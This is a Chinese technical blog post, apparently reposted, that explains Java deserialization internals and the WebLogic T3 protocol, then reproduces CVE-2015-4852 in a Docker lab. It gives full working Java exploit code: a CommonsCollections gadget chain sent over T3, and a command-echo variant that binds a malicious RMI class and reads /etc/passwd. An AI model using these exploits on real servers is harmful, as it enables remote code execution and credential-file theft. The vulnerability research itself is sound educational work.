Javaweb安全——Weblogic反序列化漏洞(一)

news2024/10/6 6:44:59

从原生反序列化过程开始谈起。

原生反序列化

序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。

大致是这么一个过程,简单画了个图:

image-20221107005234113

测试类如下:

package ser;

import java.io.*;

public class TestClass implements Serializable {
    private String text;

    public TestClass() {
        this.text = "hello world";
    }

    private void readObject(ObjectInputStream ois) throws Exception {
        System.out.println("serializing......");
        ois.defaultReadObject();
        System.out.println("Done");
        System.out.println(this.text);
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        TestClass Class = new TestClass();
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\aaa\\Documents\\GitHub\\zkar\\o.ser"));
        oos.writeObject(Class);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\aaa\\Documents\\GitHub\\zkar\\o.ser"));
        ois.readObject();
    }
}

生成的序列化文件内容如下:

image-20221107011321042

使用zkar查看序列化文件结构。

zkar安装

go env -w GO111MODULE=on
go mod init zkar
go env -w GOPROXY=https://goproxy.cn
go get -u github.com/phith0n/zkar

或者直接下载https://github.com/phith0n/zkar项目使用

go run main.go dump -f "o.ser"

image-20221109140536868

  • STREAM_MAGIC - 0xac ed是魔数,代表了序列化的格式;
  • STREAM_VERSION - 0x00 05表示序列化的版本;
  • Contents表示最终生成的序列的内容;
  • TC_OBJECT - 0x73表示序列化一个新类的开始标记;
  • TC_CLASSDESC - 0x72表示一个新非代理类的描述信息开始标记;
  • classDescFlags - 0x02 - SC_SERIALIZABLE表示类描述信息标记为SC_SERIALIZABLE,代表在序列化的时候使用的是java.io.Serializable
  • 详情查阅:https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html

接下来就是一些属性的信息了,直接调试一下看看过程,主要是针对重写readObject方法以及非代理对象的情况。

image-20221109141827976

java.io.ObjectInputStream#readObject0,这个判断就是反序列化的类型分支。

image-20221109141852588

跟进java.io.ObjectInputStream#readOrdinaryObject方法,这里先调用readClassDesc方法去读取序列化中的ObjectStreamClass

image-20221109141949601

java.io.ObjectInputStream#readClassDesc中也会跟据对象类型做判断,这里是非代理对象。

image-20221109142215087

java.io.ObjectInputStream#readNonProxyDesc在这里进行类加载,然后desc.initNonProxy利用刚才解析出来的readDesc做一个校验并将desc初始化。

image-20221109144505663

resolveClass方法就是真正进行类加载的地方,在Shiro里面resolveClass方法被进行了重写,导致大部分利用链失效。该方法根据ObjectStreamClass里边存储的解析出来的Class路径,从本地加载该路径。(如果要反序列化本地不存在的类就需要继承ObjectInputStream,然后重写resolveClass方法,参考:Java反序列化本地不存在的类 - 简书 (jianshu.com))

image-20221109161427501

如果不存在该类则会报错ClassNotFound

image-20221109161250714

现在回到java.io.ObjectInputStream#readOrdinaryObject,调用ObjectStreamClass.newInstance()生成了一个空的目标对象。ObjectStreamClass.newInstance()底层调用了是刚才加载出来的Class的构造方法。

image-20221109163951261

接着去填充对象里面字段的数据

image-20221109144528518

image-20221109144552030

java.io.ObjectInputStream#readSerialData方法,这里slotDesc.hasReadObjectMethod()会判断是否重写了readObject方法。

image-20221109150101008

如果重写就通过slotDesc.invokeReadObject 调用重写的readObject方法,没有则会使用默认的defaultReadFields方法设置属性。

image-20221109150131649

image-20221109150157346

通常在重写的readObject方法都会调用java.io.ObjectInputStream#defaultReadObject,该方法也会去调用默认的defaultReadFields方法设置属性。

image-20221109150215603

java.io.ObjectInputStream#defaultReadFields当中会对属性对象进行递归调用其readObject0方法完成反序列化。

image-20221109150231407

image-20221109150248917

完整的执行过程如下:

浅析Java序列化和反序列化

ObjectInputStream实例初始化时,读取魔术头和版本号进行校验

调用ObjectInputStream.readObject()开始读对象数据

  • 读取对象类型标识
  • readOrdinaryObject()读取数据对象
    • readClassDesc()读取类描述数据
      • 读取类描述符标识,进入分支readNonProxyDesc()
      • 读取类名
      • 读取SUID
      • 读取并分解序列化属性标志位
      • 读取字段信息数据
      • resolveClass()根据类名获取待反序列化的类的Class对象,如果获取失败,则抛出ClassNotFoundException
      • skipCustomData()循环读取字节直到Block Data结束标识为止
      • 读取父类描述数据
      • initNonProxy()中判断对象与本地对象的SUID和类名 (不含包名) 是否相同,若不同,则抛出InvalidClassException
    • ObjectStreamClass.newInstance()获取并调用离对象最近的非Serializable的父类的无参构造方法 (若不存在,则返回null 创建对象实例
    • readSerialData()读取对象的序列化数据
      • 若类自定义了readObject(),则调用该方法读对象,否则调用defaultReadFields()读取并填充对象的字段数据

与Json反序列化的差别

从上面的过程中可以看到Java 原生反序列化不使用构造函数来创建对象——而是通过反射加载字段。

image-20221109171442324

而Json反序列化是在反序列化的过程中调用类属性的setter/getter方法,将JSON字符串还原成对象。如Fastjson中的处理。

image-20221109172530599

Weblogic反序列化漏洞

从攻击RMI的原理已知所有的对象都是通过Java序列化(客户端序列化,服务端反序列化)传输的,那就会有readObject操作。

image-20221206003246954

Weblogic反序列化漏洞的攻击方式大多是通过替换RMI通信过程中数据包的序列化数据部分。

image-20221206002023333

下面先简单了解一下weblogic RMI的特点。

weblogic RMI

WebLogic RMI就是WebLogic对Java RMI(远程方法调用)的实现,都需要使用JNDI去调用RMI Client 去绑定RMI Server

image-20221206003147818

image-20221206003206002

  • 服务端运行时动态生成的存根和骨架

    • 服务端使用字节码生成(Hot Code Generation)功能生成代理对象。不再生成Skeleton骨架对象,也不需要使用UnicastRemoteObject对象。
    • https://docs.oracle.com/middleware/1213/wls/WLRMI/rmi_rmic.htm#WLRMI133
    • https://docs.oracle.com/middleware/1213/wls/WLRMI/rmi_rmic.htm#WLRMI134
  • 客户端使用动态代理

    • 在WebLogic RMI 客户端中,字节码生成功能会自动为客户端生成代理对象,因此Stub也不再需要。
    • https://docs.oracle.com/middleware/1213/wls/WLRMI/rmi_api.htm#WLRMI130
  • 使用 T3协议 | IIOP协议 进行客户端到服务端的数据传输

由于对weblogic反序列化的攻击通常使用T3协议,所以还需简单了解一下T3数据包的格式。

T3协议

T3 协议是 Weblogic RMI 调用时的通信协议,使用一个简易的t3握手脚本

#python3
#coding:utf-8
import socket
import sys
import struct

# 传入目标IP和端口
server_address = ("192.168.106.129", 7001)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(server_address)
# 发送握手包
handshake='t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n'
print('sending "%s"' % handshake)
sock.sendall(handshake.encode())
data = sock.recv(1024)
print('received "%s"' % data)

image-20221206003730283

image-20221206003740974

发送的数据就是一个请求头,返回包HELO后面的内容则是被攻击方的weblogic版本号

image-20221206003858434

漏洞复现

环境搭建

  • 漏洞环境地址:https://github.com/QAX-A-Team/WeblogicEnvironment

  • jdk地址:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

  • weblogic下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

选择你想要的版本比如本文使用:weblogic1036+jdk7u21

下载完后修改一下Dockerfile文件,加上这几行以完成image构建:

# 解决libnsl包丢失的问题
RUN cd /etc/yum.repos.d/
RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*
RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*
RUN yum clean all
RUN yum makecache
RUN yum -y install libnsl

还需要修改一下拷贝依赖包的部分,加上一行:

docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./middleware

容器内weblogic的错误日志位于/u01/app/oracle/Domains/ExampleSilentWTDomain/servers/AdminServer/logs/AdminServer.log

运行对应的sh脚本文件即可起一个docker文件,脚本最后会将一些weblogic的依赖Jar包给导出来进行远程调试。

image-20221211023109869

idea打开wlserver文件夹添加server\lib、modules、lib到idea依赖中,注意jdk版本要和远程服务端一致,并配置远程调试参数。

image-20221211022853596

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8453

image-20221110011151514

CVE-2015-4852

基于T3协议,利用链为CommonsCollections。

image-20221110012730472

  • 作用位置
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

补丁是改写了InboundMsgAbbrev.ServerChannelInputStream等类的resolveClass做了如下黑名单:

org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure

使用21superman师傅的漏洞利用工具打一个攻击包进行调试。

image-20221110011335635

先看一下weblogic的反序列化流程,与原生反序列化就多了个开头以及结尾resolveClass方法不一样。

image-20221110011645377

weblogic.rjvm.InboundMsgAbbrev#readObject新建了一个内部类InboundMsgAbbrev$ServerChannelInputStreamreadObject方法

image-20221110001419646

该类继承ObjectInputStream类,但并没有重写readObject方法所以调用的还是java.io.ObjectInputStream#readObject流程也是和原生反序列化基本一致的。

image-20221110003928832

但该类重写了resolveClass方法,不过在方法的最开始还是会调用父类的resolveClass方法,也没做任何的校验。

image-20221110004139884

上面原生反序列化的过程中提到真正加载类的地方就是在resolveClass方法,如果报错则反序列化失败,所以反序列化的防护主要都是在此位置,weblogic的反序列化修复其实就是在resolveClass位置加了一层黑名单控制。

image-20221110004301666

exp编写

抓包上面的攻击流量可见一个握手包之后 接着就是t3协议头加上序列化内容

image-20221209201334480

很明显的反序列化头数据

image-20221209201448196

读取协议头的函数为com.bea.core.weblogic.rmi.client_1.11.0.0.jar! weblogic.rjvm.JVMMessage#readHeader

image-20221211023717684

字段含义
cmd本次请求的类型
flags标志位
responseId标识每条流的请求顺序
invokeableId响应处理程序的id
abbrevOffset相对于开始部分的偏移

详细解释以及t3协议处理逻辑可参考:Weblogic T3协议解析以及T3内存马

先看一下利用工具发送t3数据包的代码,可见使用socket发送,先发送一个握手包,再发送payload数据包。开始的部分为t3协议头然后拼接上序列化payload。

image-20221210214652590

最后计算整个数据包的长度,添加到最前面部分

image-20221210214516369

payload通常有两种生成方式:

  • 将正常weblogic发送的JAVA序列化数据的第二到七部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
  • 直接在正常数据的第一部分之后拼接恶意序列化数据。

为了方便选择第二种方法,使用socket发送数据,执行创建文件的命令。

package Weblogic;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.util.HashMap;
import java.util.Map;

public class T3Handshake {
    public static void main(String[] args) throws Exception {
        // 创建与服务器的连接
        Socket socket = new Socket("192.168.106.129", 7001);
        // 获取输出流
        OutputStream outputStream = socket.getOutputStream();
        outputStream.flush();
        // 发送握手请求消息
        // t3协议的握手请求头
        byte[] handshakeRequest = "t3 12.2.3\nAS:01\nHL:19\nMS:10000000\n\n".getBytes();
        outputStream.write(handshakeRequest);
        // 发送通信消息,即payload
        outputStream.write(createPayload());
        socket.close();
    }

    private static byte[] createPayload() throws Exception {
        String header = "00000000";
        String t3header = "016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006";
        String destFlag = "fe010000";//weblogic反序列化标志
        StringBuilder datas = new StringBuilder();
        datas.append(header)
                .append(t3header)
                .append(destFlag);
        //合并t3协议头和payload部分
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        outputStream.write(hexStringToBytes(datas.toString()));
        outputStream.write(Payload("touch /arnoldqqq.txt"));
        return outputStream.toByteArray();
    }
    public static final byte[] Payload(String cmd) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd,}),
                new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        return barr.toByteArray();
    }
    public static byte[] hexStringToBytes(String hexString) {
        if (hexString == null || hexString.equals("")) {
            return null;
        }
        hexString = hexString.toUpperCase();
        int length = hexString.length() / 2;
        char[] hexChars = hexString.toCharArray();
        byte[] d = new byte[length];
        for (int i = 0; i < length; i++) {
            int pos = i * 2;
            d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
        }
        return d;
    }
    private static byte charToByte(char c) {
        return (byte) "0123456789ABCDEF".indexOf(c);
    }

}

header字符串那是需要填数据包的长度,但直接全0,在weblogic1036+jdk7u21环境下是可以成功执行命令的。

image-20221210001449494

image-20221210002133534

命令回显

参照这篇文章的实现方式:https://xz.aliyun.com/t/7228#toc-5

通过在服务器定义一个远程RMI接口,执行远程方法,并返回结果。

具体实现通过commoncollection3反序列化调用ClassLoader,根据字节码来自定义一个RMI接口类,在类实现的方法中返回命令执行的结果。

实现的RMI接口为:

  • weblogic.cluster.singleton.ClusterMasterRemote
    

ClusterMasterRemote这个类位于wlfullclient.jar中,利用之前导出的jar包wlserver/server/lib/wljarbuilder.jar 去生成即可。

java -jar wljarbuilder.jar

image-20221211025237729

写一个简单的恶意类,仅能执行命令回显:

package weblogic_cmd;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import weblogic.cluster.singleton.ClusterMasterRemote;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.InputStream;
import java.rmi.RemoteException;

public class shell extends AbstractTranslet implements ClusterMasterRemote {
    static {
        try{
            Context ctx = new InitialContext();
            ctx.rebind("test", new shell());
        }catch (Exception e){

        }
    }
    @Override
    public void setServerLocation(String path, String text) throws RemoteException {
    }
    //执行命令
    @Override
    public String getServerLocation(String cmd) throws RemoteException {
        try {
            String[] cmds = new String[]{"/bin/bash", "-c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Thread.sleep(100);
            byte[] bytes = new byte[1024];
            int len = 0;
            StringBuilder result = new StringBuilder();
            while (in.available() > 0) {
                len = in.read(bytes);
                result.append(new String(bytes, 0, len, "UTF-8")).append("\n");;
            }
            return result.toString();

        }catch (Exception e){

        }
        return null;
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

最终的脚本如下,与上面的相比多了计算数据包长度,为了加载字节码payload生成换成了CC3的链子:

package weblogic_cmd;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.jndi.Environment;

import javax.naming.Context;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.util.HashMap;
import java.util.Map;

public class EchoVul {
    public static void main(String[] args) throws Exception {
        // 创建与服务器的连接
        Socket socket = new Socket("192.168.106.129", 7001);
        // 获取输出流
        OutputStream outputStream = socket.getOutputStream();
        outputStream.flush();
        // 发送握手请求消息
        // t3协议的握手请求头
        byte[] handshakeRequest = "t3 12.2.3\nAS:01\nHL:19\nMS:10000000\n\n".getBytes();
        outputStream.write(handshakeRequest);
        // 发送通信消息,即payload
        outputStream.write(createPayload("weblogic_cmd.shell"));
        outputStream.flush();
        socket.close();

        Environment environment = new Environment();
        environment.setProviderUrl("t3://192.168.106.129:7001");
        environment.setEnableServerAffinity(false);

        Context context = environment.getInitialContext();
        ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("test");

        // 调用RMI实例执行命令
        String res = remote.getServerLocation("cat /etc/passwd");
        System.out.println(res);
    }

    private static byte[] createPayload(String className) throws Exception {
        String t3header = "016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006";
        String destFlag = "fe010000";//weblogic反序列化标志
        StringBuilder datas = new StringBuilder();
        datas.append(t3header).append(destFlag);
        //生成payload并计算包长度,生成数据包头
        byte[] payload = Payload(className);
        String hexLen = Integer.toHexString(hexStringToBytes(datas.toString()).length+4+payload.length);
        StringBuilder dataLen = new StringBuilder();
        dataLen.append(new String(new char[8 - hexLen.length()]).replace("\0", "0"))
                .append(hexLen);
        //合并t3协议头和payload部分
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        outputStream.write(hexStringToBytes(dataLen + datas.toString()));
        outputStream.write(payload);
        return outputStream.toByteArray();
    }
    private static byte[] Payload(String className) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get(className);
        byte[] code = clazzz.toBytecode();
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } ),
        };
        //包装innerMap,回调TransformedMap.decorate
        //防止payload生成过程中触发,先放进去一个空的Transform
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        //通过反射将真正的恶意Transform放进去
        setFieldValue(transformerChain, "iTransformers", transformers);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);

        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        //用AnnotationInvocationHandler对proxyMap进行包裹
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
//生成序列化数据
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        return barr.toByteArray();
    }
    public static byte[] hexStringToBytes(String hexString) {
        if (hexString == null || hexString.equals("")) {
            return null;
        }
        hexString = hexString.toUpperCase();
        int length = hexString.length() / 2;
        char[] hexChars = hexString.toCharArray();
        byte[] d = new byte[length];
        for (int i = 0; i < length; i++) {
            int pos = i * 2;
            d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
        }
        return d;
    }
    private static byte charToByte(char c) {
        return (byte) "0123456789ABCDEF".indexOf(c);
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

image-20221211212849168

利用工具的shell还有上传和解绑功能,而且验证逻辑中在发送payload后进行延时,猜测是防止绑定的时候还没注册完成导致绑定失败。

image-20221211213309237

image-20221211213347928

参考

https://xz.aliyun.com/t/3847

http://xxlegend.com/2018/06/20/%E5%85%88%E7%9F%A5%E8%AE%AE%E9%A2%98%20Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AE%9E%E6%88%98%20%E8%A7%A3%E8%AF%BB/

https://docs.oracle.com/middleware/11119/wls/WLRMI/rmi_imp.htm#g1000014983

https://gitee.com/wangnfc/weblogic_exploit

https://mp.weixin.qq.com/s/Aliyq0aLJEQt5SRqaYbnrQ

https://xz.aliyun.com/t/11087

https://www.modb.pro/db/466477

https://xz.aliyun.com/t/7228

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/81054.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

spring mvc——@RequestMapping注解的作用

RequestMapping注解 1、RequestMapping注解的功能 从注解名称上我们可以看到&#xff0c;RequestMapping注解的作用就是将请求和处理请求的控制器方法关联起来&#xff0c;建立映射关系。 SpringMVC 接收到指定的请求&#xff0c;就会来找到在映射关系中对应的控制器方法来处理…

从源码编译linux内核并运行一个最小的busybox文件系统

从源码编译linux内核并运行一个最小的busybox文件系统 环境基础&#xff1a; 开发环境&#xff1a;ubuntu 18.04 linux源码版本&#xff1a;linux-4.9.229 busybox源码版本&#xff1a;busybox-1.30.0 qemu-system-x86_64版本&#xff1a;2.0.0 这篇文章将按照如下4个步骤来…

【hexo系列】01.hexo环境搭建及github.io搭建

文章目录基础环境要求安装hexohexo初体验创建hexo工程初体验创建自己的第一篇笔记推送到github网站新建github.io推送到github推送到github(ssh方式 免密)参考资料基础环境要求 检测Node.js是否安装成功&#xff0c;在命令行中输入 node -v 检测npm是否安装成功&#xff0c;在…

机器学习中的数学原理——多重回归算法

这个专栏主要是用来分享一下我在机器学习中的学习笔记及一些感悟&#xff0c;也希望对你的学习有帮助哦&#xff01;感兴趣的小伙伴欢迎私信或者评论区留言&#xff01;这一篇就更新一下《白话机器学习中的数学——多重回归算法》&#xff01; 目录 一、什么是多重回归 二、案…

物联网开发笔记(60)- 使用Micropython开发ESP32开发板之SPI接口控制Micro SD卡TF卡模块

一、目的 这一节我们学习如何使用我们的ESP32开发板来通过SPI接口控制Micro SD卡TF卡模块。 二、环境 ESP32 SPI接口控制Micro SD卡TF卡模块 Thonny IDE 几根杜邦线 接线方法&#xff1a; Soft SPI接线说明 # 接线说明: # MISO -> GPTO13 # MOSI -> GPIO12 # SCK …

[附源码]Python计算机毕业设计SSM基于的楼盘销售系统(程序+LW)

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

SpringCloud入门实战-Ribbon

SpringCloud入门实战-Ribbon使用 原创目录概述需求&#xff1a;设计思路实现思路分析1.Ribbon原理2.Ribbon负载均衡策略参考资料和推荐阅读Survive by day and develop by night. talk for import biz , show your perfect code,full busy&#xff0c;skip hardness,make a bet…

计算机软技术,如何画好一张架构图?

什么是架构图&#xff1f; 如何画好一张架构图&#xff0c;要做好这件事情首先要回答的就是什么是架构图。我们日常工作中经常能看到各种各样的架构图&#xff0c;而且经常会发现大家对架构图的理解各有侧重。深入追究到这个问题&#xff0c;可能一下子还很难有一个具象的定义…

动态路由协议RIP

数据来源 一、动态路由 基于某种协议实现 1&#xff09;动态路由拓补图 2&#xff09;动态路由特点 减少了管理任务占用了网络带宽 3&#xff09;动态路由协议概述 路由器之间用来交换信息的语言 4&#xff09;度量值 跳数、带宽、负载、时延、可靠性、成本 跳数&#xff1a…

JavaScript数据结构【数组---for...of循环迭代】

继for循环&#xff0c;和forEach方法迭代数组后&#xff0c;要想迭代数组的值还可以用for...of循环 使用&#xff1a; // for...of循环示例 let array [1, 2, 3] for (let key of array) {console.log(key); } /* 输出&#xff1a;123 */ 可以看到&#xff1a;使用for...of…

嵌入式介绍与应用

嵌入式介绍与应用1 概念桌面对比2 特点3 发展历史3.1 计算机发展3.2 嵌入式发展4 开发能力要求5 应用6 规模参考1 概念 嵌入式系统由硬件和软件组成。是能够独立进行运作的器件。其软件内容只包括软件运行环境及其操作系统。硬件内容包括信号处理器、存储器、通信模块等在内的…

构建过程:从源码到dist文件

问题 有没有好奇过&#xff0c;自己写的前端代码是怎么变成上线可用的代码的&#xff1f; 前言 目前实现从源码到可用的静态文件&#xff0c;我们都是借助打包工具实现的&#xff0c;目前用的比较多的是webpack、rollup、vite..., 那么以上问题也可以描述为“构建工具是如何…

ChatGPT教程之 03 ChatGPT 中构建 Python 解释器

这个故事的灵感来自于一个类似的故事,在 ChatGPT 中构建虚拟机。我印象深刻并决定尝试类似的东西,但这次不是 Linux 命令行工具,而是让 ChatGPT 成为我们的 Python 解释器。 这是初始化 ChatGPT 的初始命令: I want you to act as a Python interpreter. I will type com…

<<两万字通关Java IO流>>

✨✨hello&#xff0c;愿意点进来的小伙伴们&#xff0c;你们好呐&#xff01; &#x1f43b;&#x1f43b;系列专栏&#xff1a;【JavaEE】 &#x1f432;&#x1f432;本篇内容&#xff1a;详解Java IO流 &#x1f42f;&#x1f42f;作者简介:一名现大二的三非编程小白&#…

python----函数、文件、以及高级特性

文章目录前言一、函数的基本概念二、文件OS模块json模块高级特性生成式生成器闭包装饰器前言 一、函数的基本概念 **全局变量&#xff1a;**在函数外边定义的变量&#xff0c;全局生效 **局部变量&#xff1a;**在函数里边定义的变量&#xff0c;局部生效 如果要在函数中修改全…

【BL808】缘起:M1s开发板的第一个示例-LVGL

一、sipeed M1s介绍 1.1 M1s开发板介绍 1.1.1 开发板特性 板载两个USB口&#xff08;一个用于USB-TTL&#xff0c;一个用于通过模拟U盘的方式烧录c906的固件&#xff09;板载1.69 inch的触摸屏和摄像头接口板载MIC、LED和TF卡座板载一个BL702做成的集USB-TTL和JTAG的调试器。…

面试收集汇总

最近的工作情况&#xff0c;难度比较大的项目。 http servlet生命周期&#xff0c;在springmvc对原生servlet做了一个怎么样的包装来实现一个自己的mvc能力的&#xff1f; 1.加载和实例化。Servlet容器负责加载和实例化Servlet。当Servlet容器启动时&#xff0c;或者在容器检…

[附源码]JAVA毕业设计养老院老人日常生活管理系统(系统+LW)

[附源码]JAVA毕业设计养老院老人日常生活管理系统&#xff08;系统LW&#xff09; 项目运行 环境项配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。…

尝试使用CubeMX做stm32开发之十五:FatFs的移植方法

一、数据类型 FatFs使用的数据类型在ff.h中定义&#xff0c;适用于绝大多数平台&#xff1a; BYTE 8-bit无符号整形数据&#xff0c;范围0~28-1 WORD 16-bit无符号整形数据&#xff0c;范围0~216-1 DWORD 32-bit无符号整形数据&#xff0c;范围0~232-1 QWORD 64-bit无符…

【C#基础学习】第十八章、接口

目录 接口 1.接口 1.1 声明接口 1.2 实现接口&调用接口 1.2.1 显式接口实现方式 1.2.2 显式接口实现&隐式接口实现的使用场景 1.3 as运算符 2.接口继承接口 接口 1.接口 接口的意义&#xff1a;C#的继承不支持一个子类拥有多个父类。而接口的存在就是为了弥补这…